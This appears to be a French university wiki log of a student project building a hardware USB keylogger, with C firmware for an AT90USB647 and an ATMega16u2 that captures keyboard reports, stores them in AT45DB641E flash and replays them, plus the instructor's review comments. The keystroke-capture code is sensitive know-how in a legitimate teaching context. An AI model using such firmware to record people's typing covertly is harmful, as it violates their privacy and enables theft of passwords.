*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].

==== Modification du Keylogger ====
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]

J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :
<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>
Et pour la réception :
<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.
<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[7];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < 7; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>

ReX : Le test <code>(*flash_buffer_i == FLASH_BUFFER_SIZE)</code> est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et défini la taille de bloc comme un multiple de la taille des paquets :
#define CODES_PACKET_SIZE 7
#define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)

Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :
<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[7];
for (address = 0; address <= (*page_actual); address++)
{
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0; byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += 7)
{
// for (k = 0; k < 7; k++)
// Data_to_Send[k] = data[byte + k];
memcpy(Data_to_Send, &(data[byte]), 7);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += 7)
{
// for (k = 0; k < 7; k++)
// Data_to_Send[k] = flash_buffer[byte + k];
memcpy(Data_to_Send, &(flash_buffer[byte]), 7);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>

Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMEGA, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapés :

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

On attend à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )
[[Fichier:Keylogger schéma connexion uP.png|vignette|504x504px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]

= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

Fichier:Keylogger schéma connexion uP.png

2023-08-15T07:28:01Z

Bnguyen1 :

Schéma décrivant les connexions des broches entres microcontrôleurs

SE4 2022/2023 EC5

2023-08-14T20:21:44Z

Bnguyen1 : /* Modification du Keylogger */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

